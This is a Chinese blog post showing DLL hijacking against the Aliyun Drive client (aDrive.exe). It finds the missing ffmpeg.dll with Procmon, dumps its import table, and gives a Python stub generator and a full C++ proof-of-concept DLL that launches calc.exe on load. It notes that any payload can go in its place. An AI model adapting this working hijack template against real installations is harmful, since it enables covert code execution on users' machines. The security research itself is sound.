阿里云盘dll劫持

本文最后更新于：2024年8月16日 下午

文件属性

image-20231003223638091

image-20231003223531216

文件是阿里云盘启动软件aDrive.exe 文件为32位版本10.1118

把aDrive.exe单独提取到一个新的目录下，然后开启 procmon64.exe

image-20231003224306031

image-20231003224354251

添加筛选条件这样好找✌️

1
2
3
4
5
Process Name -> is ->==  aDrive.exe

Result -> is -> == NAME NOT FOUND

Path -> contains -> == DLL

然后双击该exe，他也许什么也不会发生，这是因为他缺少某些dll跑不起来。在procmon中可以看到它加载了哪些dll，并且是出于未找到的状态

image-20231003224844428

得到aDrive.exe会在当前文件内寻找ffmpeg.dll文件

让后vs编写一个calc动态dll

在dllmain.cpp下写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include "pch.h"
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateProcessA(NULL, 
            (LPSTR)"calc.exe",
            NULL, NULL, FALSE,
            0, NULL, NULL,
            (LPSTARTUPINFOA)&si,
            (LPPROCESS_INFORMATION)&pi
        );
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

将生成的ffmpeg.dll放在aDrive.exe 发现 报错

image-20231003225452638

我们还可以通过dumpbin或者其他pe工具查看当前程序的导入表

image-20231003225558186

得到ffmpeg.dll的导入表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
ffmpeg.dll
               81851C4 Import Address Table
               818478C Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference

                    0 av_buffer_create
                    0 av_buffer_get_opaque
                    0 av_dict_get
                    0 av_dict_set
                    0 av_frame_alloc
                    0 av_frame_free
                    0 av_frame_unref
                    0 av_free
                    0 av_get_bytes_per_sample
                    0 av_get_cpu_flags
                    0 av_image_check_size
                    0 av_log_set_level
                    0 av_malloc
                    0 av_max_alloc
                    0 av_new_packet
                    0 av_packet_alloc
                    0 av_packet_copy_props
                    0 av_packet_free
                    0 av_packet_get_side_data
                    0 av_packet_unref
                    0 av_read_frame
                    0 av_rescale_q
                    0 av_samples_get_buffer_size
                    0 av_seek_frame
                    0 av_stream_get_first_dts
                    0 av_stream_get_side_data
                    0 av_strerror
                    0 avcodec_align_dimensions
                    0 avcodec_alloc_context3
                    0 avcodec_descriptor_get
                    0 avcodec_find_decoder
                    0 avcodec_flush_buffers
                    0 avcodec_free_context
                    0 avcodec_open2
                    0 avcodec_parameters_to_context
                    0 avcodec_receive_frame
                    0 avcodec_send_packet
                    0 avformat_alloc_context
                    0 avformat_close_input
                    0 avformat_find_stream_info
                    0 avformat_free_context
                    0 avformat_open_input
                    0 avio_alloc_context

有点多使用python写个小脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import os

# 待生成的函数名称列表
function_names = [
    "av_buffer_create",
    "av_buffer_get_opaque",
    "av_dict_get",
    "av_dict_set",
    "av_frame_alloc",
    "av_frame_free",
    "av_frame_unref",
    "av_free",
    "av_get_bytes_per_sample",
    "av_get_cpu_flags",
    "av_image_check_size",
    "av_log_set_level",
    "av_malloc",
    "av_max_alloc",
    "av_new_packet",
    "av_packet_alloc",
    "av_packet_copy_props",
    "av_packet_free",
    "av_packet_get_side_data",
    "av_packet_unref",
    "av_read_frame",
    "av_rescale_q",
    "av_samples_get_buffer_size",
    "av_seek_frame",
    "av_stream_get_first_dts",
    "av_stream_get_side_data",
    "av_strerror",
    "avcodec_align_dimensions",
    "avcodec_alloc_context3",
    "avcodec_descriptor_get",
    "avcodec_find_decoder",
    "avcodec_flush_buffers",
    "avcodec_free_context",
    "avcodec_open2",
    "avcodec_parameters_to_context",
    "avcodec_receive_frame",
    "avcodec_send_packet",
    "avformat_alloc_context",
    "avformat_close_input",
    "avformat_find_stream_info",
    "avformat_free_context",
    "avformat_open_input",
    "avio_alloc_context",
]
print("START \n")
for fn in function_names:
    print(f'extern "C" __declspec(dllexport) int {fn}()\n{{\n    return 0;\n}}')

print("Done!")

想劫持的是 ffmpeg.dll ,可以编写如下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

extern "C" __declspec(dllexport) int av_buffer_create()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_buffer_get_opaque()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_dict_get()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_dict_set()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_frame_alloc()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_frame_free()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_frame_unref()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_free()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_get_bytes_per_sample()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_get_cpu_flags()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_image_check_size()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_log_set_level()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_malloc()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_max_alloc()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_new_packet()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_packet_alloc()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_packet_copy_props()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_packet_free()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_packet_get_side_data()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_packet_unref()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_read_frame()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_rescale_q()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_samples_get_buffer_size()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_seek_frame()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_stream_get_first_dts()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_stream_get_side_data()
{
    return 0;
}
extern "C" __declspec(dllexport) int av_strerror()
{
    return 0;
}
extern "C" __declspec(dllexport) int avcodec_align_dimensions()
{
    return 0;
}
extern "C" __declspec(dllexport) int avcodec_alloc_context3()
{
    return 0;
}
extern "C" __declspec(dllexport) int avcodec_descriptor_get()
{
    return 0;
}
extern "C" __declspec(dllexport) int avcodec_find_decoder()
{
    return 0;
}
extern "C" __declspec(dllexport) int avcodec_flush_buffers()
{
    return 0;
}
extern "C" __declspec(dllexport) int avcodec_free_context()
{
    return 0;
}
extern "C" __declspec(dllexport) int avcodec_open2()
{
    return 0;
}
extern "C" __declspec(dllexport) int avcodec_parameters_to_context()
{
    return 0;
}
extern "C" __declspec(dllexport) int avcodec_receive_frame()
{
    return 0;
}
extern "C" __declspec(dllexport) int avcodec_send_packet()
{
    return 0;
}
extern "C" __declspec(dllexport) int avformat_alloc_context()
{
    return 0;
}
extern "C" __declspec(dllexport) int avformat_close_input()
{
    return 0;
}
extern "C" __declspec(dllexport) int avformat_find_stream_info()
{
    return 0;
}
extern "C" __declspec(dllexport) int avformat_free_context()
{
    return 0;
}
extern "C" __declspec(dllexport) int avformat_open_input()
{
    return 0;
}
extern "C" __declspec(dllexport) int avio_alloc_context()
{
    return 0;
}



STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateProcessA(NULL, 
            (LPSTR)"calc.exe",
            NULL, NULL, FALSE,
            0, NULL, NULL,
            (LPSTARTUPINFOA)&si,
            (LPPROCESS_INFORMATION)&pi
        );
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


如果要执行一些功能，只需要将功能写在dll代码中。

测试成功弹出计算器😊😊😊

image-20231003230116778

dll注入
#阿里云盘 #注入dll #Dll Hijacking
阿里云盘dll劫持
https://huajien.gitee.io/2023/6c15a38d/
作者
HUAJI
发布于
2023年10月3日
许可协议